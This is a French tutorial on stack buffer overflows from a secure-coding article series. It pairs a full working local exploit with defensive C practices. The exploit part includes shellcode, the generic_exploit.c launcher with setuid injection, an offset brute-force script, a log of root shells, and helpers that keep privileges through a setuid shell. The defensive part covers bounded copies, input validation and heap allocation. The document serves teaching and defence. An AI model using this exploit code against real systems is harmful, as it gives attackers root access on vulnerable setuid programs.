�viter les failles de s�curit� d�s le d�veloppement d'une application - 3 : d�bordements de buffer

ArticleCategory:

Software Development

AuthorImage:

[image of the authors]

TranslationInfo:

Original in fr Frédéric Raynal, Christophe Blaess, Christophe Grenier

AboutTheAuthor:

Christophe Blaess est un ing�nieur ind�pendant dans le domaine de l'a�ronautique Passionn� par Linux, il effectue l'essentiel de son travail sur ce syst�me, et assure la coordination des traductions des pages de manuel publi�es par le Linux Documentation Project.

Christophe Grenier est �tudiant en 5�me ann�e � l'ESIEA, o� il est �galement administrateur syst�me. La s�curit� informatique est l'une de ses passions.

Frédéric Raynal utilise Linux depuis des ann�es parce qu'il ne pollue pas, qu'il est garanti sans hormones, OGM ou farines animales... il ne r�clame que de la sueur et de l'astuce.

Abstract

Cet article termine de pr�senter les d�bordements de buffer. Nous montrerons qu'il s'agit d'une faille assez simple � exploiter. Ensuite, nous d�crirons les pr�cautions � prendre pour les �viter. La lecture de cet article implique celle des deux pr�c�dents :

ArticleIllustration:[illustration]

[article illustration]

ArticleBody:[The real article: put the text and html-codes here]

D�bordements de buffer

Dans notre pr�c�dent article, nous avons donc obtenu un fragment de programme tenant en une cinquantaine d'octets, capable de faire d�marrer un shell ou de se terminer en cas d'�chec. Il nous faut � pr�sent arriver � ins�rer ce code au sein de l'application que nous voulons attaquer. Cela s'effectue en �crasant l'adresse de retour d'une fonction pour la remplacer par l'adresse de notre shellcode, ce qui se produit en for�ant le d�bordement d'une variable automatique, allou�e dans la pile du processus.

Par exemple, dans le programme suivant, nous recopions dans un buffer de 500 octets la cha�ne de caract�res pass�e en premier argument sur la ligne de commande. Cette copie s'effectue sans v�rifier que la taille du buffer ne soit pas d�pass�e. Comme nous le verrons plus tard, il aurait simplement fallu employer la fonction strncpy() pour �viter ce probl�me.

  /* vulnerable.c */

  #include <string.h>
    
  int main(int argc, char * argv [])
  {
    char buffer [500];

    if (argc > 1)
    strcpy(buffer, argv[1]);
    return (0);
  }

buffer est une variable automatique, l'espace occup� par les 500 octets est r�serv� dans la pile d�s l'entr�e dans la fonction main(). Lors de l'ex�cution du programme vulnerable avec un argument long de plus de 500 caract�res, les donn�es d�bordent du buffer, et envahissent la pile du processus. Comme nous l'avons vu pr�c�demment, la pile contient l'adresse de la prochaine instruction � ex�cuter (appel�e commun�ment adresse de retour). Pour exploiter cette faille de s�curit�, il suffit de remplacer l'adresse de retour de la fonction par l'adresse o� se situe le shellcode que nous voulons ex�cuter. Ce shellcode est ins�r� dans le corps m�me du buffer, suivi de l'adresse qu'il occupera en m�moire.

Position en m�moire

Obtenir l'adresse m�moire du shellcode constitue une op�ration d�licate. Nous devons d�couvrir le d�calage existant entre le registre %esp, qui pointe sur le sommet de la pile, et l'adresse du shellcode. De fa�on � disposer d'une certaine marge, le d�but du buffer est rempli avec l'instruction assembleur NOP ; il s'agit d'une instruction neutre cod�e sur un octet, n'ayant strictement aucun effet. Ainsi, lorsque l'adresse de d�part pointe en de�� du d�but r�el du shellcode, le processeur passera de NOP en NOP jusqu'� atteindre effectivement notre code. Pour optimiser nos chances, nous pla�ons le shellcode au milieu du buffer, suivi de l'adresse de d�marrage r�p�t�e jusqu'� la fin, et pr�c�d� d'un bloc de NOP. La figure 1 illustre la construction du buffer qui servira d'exploit.

[buffer]
Fig. 1 : disposition du buffer rempli sp�cialement pour l'exploit

La figure 2 d�crit l'�tat de la m�moire avant puis apr�s le d�bordement. Celui-ci provoque l'�crasement des donn�es situ�es au-del� du buffer. Elles sont alors remplac�es par l'adresse du shellcode en m�moire, c'est-�-dire l'adresse du d�but du buffer exploit�.

Fig. 2 : organisation de la m�moire avant et apr�s le d�bordement
pile_avt.gif
pile_apr.gif
Avant
Apr�s

Toutefois il existe un autre probl�me li� � l'alignement des variables dans la pile. En effet, une adresse �tant stock�e sur plusieurs octets, l'alignement au sein de la pile ne convient pas toujours. Cet inconv�nient se r�sout en "t�tonnant" sur l'alignement � utiliser. Comme notre processeur utilise des mots de 4 octets, l'alignement vaut 0, 1, 2 ou 3 octet(s) (voir l'article 183 sur l'organisation de la pile pour de plus amples d�tails). Sur la figure 3, les parties gris�es correspondent aux 4 octets �crits. Seul le premier cas, o� l'adresse de retour est compl�tement �cras�e, fonctionne. Les autres conduisent � des erreurs type segmentation violation ou illegal instruction. Cette recherche empirique fonctionne parfaitement car la puissance des ordinateurs actuels nous autorise � faire ces tests peu co�teux.

[align]
Fig. 3 : alignements possibles avec des mots de 4 octets

Programme de lancement

Nous allons �crire un petit programme qui lance une application vuln�rable en lui transmettant un buffer qui fera d�border la pile. Ce programme dispose de plusieurs options pour cadrer la position du shellcode en m�moire, choisir le programme � ex�cuter. Cette version, inspir�e de l'article d'Aleph One dans le num�ro 49 du magazine phrack, est disponible sur le site de Christophe Grenier.

Comment passer notre buffer ainsi pr�par� � l'application vis�e ? Classiquement, il s'agit d'un param�tre en ligne de commande comme dans le cas de vulnerable.c ou d'une variable d'environnement. Le d�passement a parfois lieu � partir de lignes saisies par l'utilisateur, ce qui est plus difficile � automatiser, ou de donn�es lues dans un fichier.

Le programme generic_exploit.c commence par allouer le buffer de la taille d�sir�e, y copie le shellcode et assure le remplissage d�crit plus haut avec les adresses et les codes NOP. Ensuite il pr�pare un tableau d'arguments et lance l'application cible en utilisant l'instruction execve() qui remplace le processus courant par celui invoqu�. Les param�tres de generic_exploit sont la taille du buffer � exploiter (un peu plus que sa taille pour �craser l'adresse de retour), l'offset en m�moire, l'alignement. On indique si on passe le buffer via une variable d'environnement (var) ou en ligne de commande (novar). L'argument force/noforce permet l'appel ou non � la fonction setuid()/setgid() dans le shellcode.

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE		1
#define A_OFFSET	2
#define A_ALIGN		3
#define A_VAR		4
#define A_FORCE		5
#define A_PROG2RUN	6
#define A_TARGET	7
#define A_ARG		8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar) (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;			/* movb $0x17,%al 	*/
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;			/* xorl %eax,%eax	*/
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;			/* xorl %ebx,%ebx	*/
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
	 *(ptr++)= 0xb3;		/* movb $0x??,%bl	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
	 *(ptr++)= 0xb7;		/* movb $0x??,%bh	*/
	 *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;			/* movb $0x2e,%al 	*/
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;			/* int $0x80		*/
       *(ptr++)= 0x80;
     }
   }
   /* Patch shellcode */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Copy prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

Pour tirer profit de vulnerable.c, nous devons disposer d'un buffer plus grand que celui pr�vu par l'application. Nous choisissons par exemple 600 octets au lieu des 500 pr�vus. La recherche du d�calage par rapport au sommet de la pile se fait par essais successifs. L'adresse, construite par l'instruction addr = get_sp() + offset; et dont le but est d'�craser l'adresse du retour, est obtenue ... par chance ! L'op�ration effectu�e repose sur l'heuristique que le registre %esp ne bougera pas trop entre le processus courant et celui appel� en fin de programme. En pratique, rien n'est moins s�r : plusieurs �v�nements peuvent venir modifier l'�tat de la pile entre le moment o� ce calcul est effectu� et celui o� le programme � exploiter est appel�. Ici, nous sommes arriv�s � d�clencher un d�bordement exploitable avec un offset de -1900 octets. Naturellement pour que l'exp�rience soit compl�te, la cible vulnerable doit �tre Set-UID root.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
Dans le premier cas (noforce), notre uid ne change pas. En revanche, nous disposons d'un nouvel euid qui nous conf�re tous les droits. Ainsi, m�me si en �ditant le fichier /etc/passwd avec vi, ce dernier affirme qu'il est en lecture seule, toutes les modifications fonctionnent tr�s bien : il faut juste forcer la sauvegarde avec w! :) Le param�tre force permet d'avoir d�s le d�but uid=euid=0.

Pour rechercher automatiquement les valeurs de d�calage assurant un d�bordement, l'utilisation d'un petit script shell rend les choses encore plus faciles :

 #! /bin/sh
 # cherche_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
Dans notre exploitation, nous ne nous sommes pas pr�occup�s des problêmes potentiels d'alignement. Il est donc tout � fait possible que cet exemple ne fonctionne pas avec les m�mes valeurs chez vous, voire pas du tout � cause de l'alignement :( Pour ceux qui veulent quand m�me essayer, il faut changer le param�tre d'alignement � 1, 2 ou 3 (ici, 0). Certains syst�mes ne supportent pas l'�criture sur des zones de m�moires qui ne correspondent pas � un mot complet, mais ce probl�me n'existe pas sous Linux :)

Probl�mes de shell(s)

Malheureusement, il arrive que le shell obtenu soit inutilisable car il se termine tout seul ou d�s l'appuie sur une touche. Un moyen, � peine d�tourn�, permet de conserver ces privil�ges si laborieusement acquis.

/* set_run_shell.c */
#include <unistd.h>
#include <sys/stat.h>
 
int main()
{
  chown ("/tmp/run_shell", geteuid(), getegid());
  chmod ("/tmp/run_shell", 06755);
  return 0;
}

Puisque notre exploit ne peut ex�cuter qu'une seule chose � la fois, nous allons transf�rer, � l'aide du programme set_run_shell, les droits obtenus sur le programme run_shell. Ce dernier nous offrira alors le shell esp�r�.

/* run_shell.c */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
  setuid(geteuid());
  setgid(getegid());
  execl("/tmp/shell","shell","-i",0);
  exit (0);
}
L'option -i correspond � interactif. Pourquoi ne pas donner directement les droits � un shell ? Tout simplement parce que le bit s n'est pas effectif sur tous les shells. Les versions r�centes v�rifient que l'uid est bien �gale � l'euid, idem pour gid et egid. Ainsi bash2 et tcsh incorporent cette ligne de d�fense mais ni bash, ni ash n'en disposent. Cette m�thode doit �tre raffin�e dans le cas o� la partition sur laquelle run_shell (ici, /tmp) est mont�e en nosuid ou noexec.

Pr�vention

Disposant d'un programme Set-UID contenant un bogue de d�bordement de buffer, ainsi que de son code source, nous sommes donc capables de pr�parer une attaque permettant d'ex�cuter n'importe quel code arbitraire sous l'identit� du propri�taire du fichier. Notre propos toutefois vise � d'�viter les failles de s�curit�. Nous allons donc examiner quelques r�gles � respecter pour �chapper aux d�bordements de buffer.

V�rifier les indices

La premi�re r�gle � respecter rel�ve simplement d'une question de bon sens : il est indispensable de toujours v�rifier avec soin les indices utilis�s pour manipuler un tableau. Un balayage maladroit du type :

  for (i = 0; i <= n; i ++) {
  	table [i] = ...
contient probablement une erreur � cause du signe <= au lieu de < car un acc�s a lieu � un emplacement situ� apr�s la fin de la table. Si la v�rification est ais�e lors d'un parcours dans ce sens, le balayage des indices dans l'ordre d�croissant n�cessite une attention plus soutenue pour �tre s�r de ne pas d�passer z�ro "par en-dessous". Hormis les cas triviaux de parcours for(i=0; i<n ; i++), il est indispensable de v�rifier � plusieurs reprises (voire de faire v�rifier par quelqu'un d'autre) l'algorithme employ�, surtout � l'approche des extr�mit�s de l'intervalle parcouru.

Le m�me type de probl�me se pose avec les cha�nes de caract�res, pour lesquelles il faut toujours penser � allouer un octet suppl�mentaire pour le caract�re nul final. Son oubli constitue l'un des bogues les plus fr�quemment rencontr�s par les d�butants, et difficile � diagnostiquer puisqu'il peut passer longuement inaper�u en raison de l'alignement des variables.

Il ne faut pas sous-estimer le r�le des indices d'un tableau dans la s�curit� d'une application. On a montr� (voir Phrack num�ro 55) qu'un seul octet de d�bordement pouvait suffire pour cr�er une faille de s�curit�, en ins�rant le shellcode dans une variable d'environnement par exemple.

  #define TAILLE_BUFFER 128

  void foo(void) {

    char buffer[TAILLE_BUFFER+1];

    /* fin de cha�ne */
    buffer[TAILLE_BUFFER] = '\0'; 

    for (i = 0; i<TAILLE_BUFFER; i++)
      buffer[i] = ...
  }

Utiliser les fonctions en n

Par convention, les fonctions de la biblioth�que C standard reconnaissent la fin de la cha�ne de caract�res gr�ce � un octet nul. Par exemple la fonction strcpy(3) copie dans une cha�ne de destination le contenu de la cha�ne originale jusqu'� cet octet nul compris. Dans certaines circonstances, ce comportement devient dangereux ; nous avons vu que le code suivant pr�sente une faille de s�curit� :
  #define LG_IDENT 128

  int fonction (const char * nom)
  {
    char identite [LG_IDENT];
    strcpy (identite, nom);
    ...
  }
Pour �viter ce genre de probl�mes, il existe des fonctions dont la port�e est limit�e en longueur. Ces fonctions contiennent un `n' au milieu de leur nom, par exemple strncpy(3) en remplacement de strcpy(3), strncat(3) de strcat(3) ou m�me strnlen(3) de strlen(3).

La limitation impos�e par strncpy(3) a toutefois des effets de bord auxquels il faut prendre garde : lorsque la cha�ne source est plus courte que la destination, cette derni�re sera compl�t�e par des caract�res nuls jusqu'� la limite n, ce qui p�nalise un peu l'application en terme de performances. � l'inverse, si la source est plus longue, elle sera tronqu�e pour remplir la destination mais cette derni�re cha�ne ne sera pas termin�e par un caract�re nul. Il est donc indispensable de l'ajouter manuellement. La routine pr�c�dente r��crite en respectant ceci devient alors :

  #define LG_IDENT 128

  int fonction (const char * nom)
  {
    char identite [LG_IDENT+1];
    strncpy (identite, nom, LG_IDENT);
    identite [LG_IDENT] = '\0';
    ...
  }
Naturellement, les m�mes principes s'appliquent aux routines manipulant des caract�res larges, en pr�f�rant par exemple wcsncpy(3)wcscpy(3) ou wcsncat(3)wcscat(3). Le programme s'allonge certes un peu, mais la s�curit� s'accro�t �galement.

Tout comme strcpy(), strcat(3) ne v�rifie pas la taille des buffers. La fonction strncat(3) ajoute elle-m�me un caract�re de fin de cha�ne si elle dispose de la place n�cessaire. Le remplacement de strcat(buffer1, buffer2); par strncat(buffer1, buffer2, sizeof(buffer1)-1); suffit � �limer les risques.

La fonction sprintf() permet de recopier des donn�es format�es dans une cha�ne. Elle aussi dispose d'une version permettant de contr�ler le nombre d'octets � copier : snprintf(). Cette fonction renvoie le nombre de caract�res �crits dans la cha�ne destinataire (sans comptabiliser le `\0'). Tester cette valeur de retour permet donc de savoir si l'�criture s'est d�roul�e correctement :

  if (snprintf(dst, sizeof(dst) - 1, "%s", src) > sizeof(dst) - 1) {
    /* D�bordement */
    ...
  }

Bien �videmment, ces pr�cautions ne valent plus rien d�s que l'utilisateur obtient le contr�le sur le nombre d'octets � copier. Une telle faille dans BIND (Berkeley Internet Name Daemon) fut � l'origine de nombreux piratages :

  struct hosten *hp;
  unsigned long adresse;

  ...

  /* copie d'une adresse */
  memcpy(&adresse, hp->h_addr_list[0], hp->h_length);
  ...

Normalement, ceci devrait toujours copier 4 octets. Cependant, s'il est possible de modifier hp->h_length, alors la pile devient � son tour modifiable. Il est donc indispensable de v�rifier la longueur des donn�es avant de copier :
  struct hosten *hp;
  unsigned long adresse;

  ...

  /* test */
  if (hp->h_length > sizeof(adresse))
    return 0;

  /* copie d'une adresse */
  memcpy(&adresse, hp->h_addr_list[0], hp->h_length);
  ...
Certaines circonstances n'autorisent toutefois pas cette troncature (chemin d'acc�s, nom d'h�te, URL, ...) et des mesures doivent alors �tre prises en amont dans le programme d�s la saisie des donn�es.

Valider les saisies en deux temps

L'attitude d�fensive � adopter dans un programme qui s'ex�cute avec des privil�ges diff�rents de ceux de son utilisateur impose de consid�rer toute donn�e en entr�e comme a priori suspecte.

Tout d'abord cela concerne les routines de saisie de cha�ne de caract�res. Avec ce qui pr�c�de, il est inutile de s'appesantir sur le fait qu'il ne faut jamais utiliser gets(char *chaine) puisqu'elle ne v�rifie pas la longueur de la cha�ne saisie (note des auteurs : il serait bon que cette routine soit totalement interdite par l'�diteur de liens pour les programmes nouvellement compil�s). Il existe des dangers plus insidieux se dissimulant dans les saisies avec scanf(). La ligne

scanf ("%s", chaine)
par exemple comporte autant de risques que gets(char *chaine), mais saute moins yeux. Toutefois, les fonctions de la famille de scanf() offrent un m�canisme de contr�le sur la taille des donn�es :
  char buffer[256];
  scanf("%255s", buffer);
Le formatage limite le nombre de caract�re recopi� dans buffer � 255. Par ailleurs, scanf() r�injectant dans le flux d'entr�e les caract�res ne lui convenant pas (par exemple une lettre alors qu'il attend un chiffre), les risques d'erreurs de programmation engendrant des blocages sont relativement �lev�s.

En C++, le flux cin remplace les fonctions classiques utilis�es en C (bien que celles-ci restent utilisables). Le programme suivant remplit un buffer :

  char buffer[500];
  cin>>buffer;
Comme vous le constatez, aucun test n'est r�alis� ! Nous sommes ici dans une situation similaire � l'utilisation de gets(char *chaine) en C : une porte est grande ouverte. La fonction membre ios::width() permet de fixer le nombre maximal de caract�re � lire.

La lecture des donn�es n�cessite deux �tapes. Une premi�re phase consiste � r�cup�rer la cha�ne de caract�res � l'aide de fgets(char *chaine, int taille, FILE stream), qui limite la taille de la zone m�moire employ�e. Dans un second temps, les donn�es lues sont trait�es, avec sscanf() par exemple. La premi�re phase peut �galement contenir d'autres op�rations, comme encadrer fgets(char *chaine, int taille, FILE stream) avec une boucle allouant automatiquement la m�moire n�cessaire, sans imposer de limite arbitraire. L'extension Gnu getline() r�alise cette op�ration. Cette phase peut aussi inclure une validation des caract�res saisis, avec isalnum(), isprint(), etc. La fonction strspn() permet la mise en place de filtres efficaces et vari�s (cf. juste apr�s ... normalement). Le programme perd un peu en rapidit� de traitement, mais les parties les plus sensibles du code sont ainsi prot�g�es par un excellent gilet pare-balles contre les donn�es litigieuses en entr�e.

Les saisies directes de donn�es ne sont pas les seuls points d'entr�e susceptibles d'�tre attaqu�s. Les fichiers de donn�es manipul�s par le logiciel sont naturellement vuln�rables, mais le code �crit pour leur lecture est g�n�ralement plus robuste que pour les saisies, les programmeurs ayant souvent une m�fiance intuitive vis-�-vis du contenu des fichiers fournis par l'utilisateur.

Il existe aussi un autre point d'appui fr�quemment employ� par les attaques de d�bordement de buffer : les cha�nes d'environnement. Il ne faut pas oublier qu'un programmeur peut configurer totalement l'environnement d'un processus avant de le lancer. Les conventions qui veulent qu'une cha�ne d'environnement soit toujours du type "NOM=VALEUR" n'ont aucune valeur face � un utilisateur mal intentionn�. L'utilisation de la routine getenv() n�cessite quelques pr�cautions, notamment en ce qui concerne la longueur de la cha�ne renvoy�e (arbitrairement longue), et son contenu (o� l'on peut rencontrer n'importe quel caract�re y compris `='). La cha�ne renvoy�e par getenv() sera trait�e comme celle fournie par fgets(char *chaine, int taille, FILE stream), en surveillant sa longueur et en la validant caract�re par caract�re.

La mise en place de tels filtres fonctionne encore une fois comme l'acc�s � un ordinateur : par d�faut, il faut tout interdire ! Ensuite, certaines autorisations sont d�livr�es :

  #define GOOD "abcdefghijklmnopqrstuvwxyz\
                BCDEFGHIJKLMNOPQRSTUVWXYZ\
                1234567890_"

  char *my_getenv(char *var) {
    char *data, *ptr

    /* R�cup�ration des donn�es */
    data = getenv(var);

    /* Filtrage
       Rem : il faut bien sur que le caract�re de remplacemement soit
             dans la liste des caract�res autoris�s !!!
    */
    for (ptr = data; *(ptr += strspn(ptr, GOOD));)
      *ptr = '_';

    return data;
  }

La fonction strspn() facilite ceci : elle recherche le premier caract�re qui n'est pas contenu dans l'ensemble sp�cifi�. Elle retourne la longueur de la cha�ne (commen�ant en position 0) contenant uniquement des caract�res valides. Il ne faut absolument jamais utiliser, dans cette optique, la contrapos�e de cette fonction, strcspn, car la d�marche revient alors � sp�cifier les caract�res interdits puis � s'assurer qu'aucun n'est pr�sent dans la saisie.

Utiliser des buffers dynamiques

Le principe du d�bordement de buffer repose sur l'�crasement du contenu de la pile de mani�re � modifier l'adresse de retour d'une fonction. L'attaque porte sur des donn�es automatiques, allou�es uniquement dans la pile. Une mani�re de d�placer ce probl�me est de remplacer syst�matiquement les tables de caract�res allou�es dans la pile par des variables dynamiques se trouvant dans le tas. Pour cela on remplace les s�quences

  #define LG_CHAINE    128
  int fonction (...)
  { 
    char chaine [LG_CHAINE];
    ...
    return (resultat);
  }
par :
  #define LG_CHAINE    128
  int fonction (...)
  {
    char *chaine = NULL;
    if ((chaine = malloc (LG_CHAINE)) == NULL)
        return (-1);
    memset(chaine,'\0',LG_CHAINE);
    [...]
    free (chaine);
    return (resultat);
  }
Ces lignes surchargent le code de mani�re importante et induisent des risques de fuite de m�moire, mais il faut profiter de ces modifications pour revoir quelque peu la conception en �vitant d'imposer des limites arbitraires de longueur. Notons qu'il ne faut pas s'imaginer obtenir le m�me r�sultat de mani�re plus simple avec la fonction alloca(). Celle-ci alloue ses donn�es dans la pile du processus, ce qui nous ram�ne au m�me probl�me qu'avec les variables automatiques. Le fait d'initialiser la m�moire � z�ro avec memset() permet d'�viter quelques probl�mes relatifs � l'utilisation de variables non initialis�es. L� encore, cela ne corrige pas le probl�me, on rend simplement l'exploitation moins triviale. Pour ceux qui veulent poursuivre sur le sujet, ils peuvent consulter l'article sur les Heap Overflows de w00w00.

Enfin, signalons quand m�me qu'il est possible dans certaines circonstances de supprimer rapidement une faille de s�curit� avec un minimum de modifications en ajoutant le mot cl� static devant la d�claration du buffer. Celui-ci se retrouve alors allou� dans le segment de donn�es loin de la pile du processus. Il devient impossible d'obtenir un shell mais le probl�me de DoS demeure. Bien entendu ceci ne fonctionne pas si la routine est appel�e r�cursivement. Il faut consid�rer ce rem�de comme un palliatif temporaire, servant juste � �liminer dans l'urgence une faille de s�curit� en intervenant au minimum sur le code.

Conclusion

Nous esp�rons que cet aper�u d'une technique de buffer overflow vous incitera � programmer de mani�re plus s�curis�e. Si la technique d'exploitation n�cessite une bonne compr�hension des m�canismes qui interviennent, le principe g�n�ral reste relativement abordable. En revanche, la mise en oeuvre de mesures pr�ventives ne rev�t aucune difficult� particuli�re. N'oubliez pas, il est plus rapide de blinder un programme d�s sa conception qu'� posteriori. Nous v�rifierons encore ce principe dans notre prochain article qui traitera des bugs de format.

Liens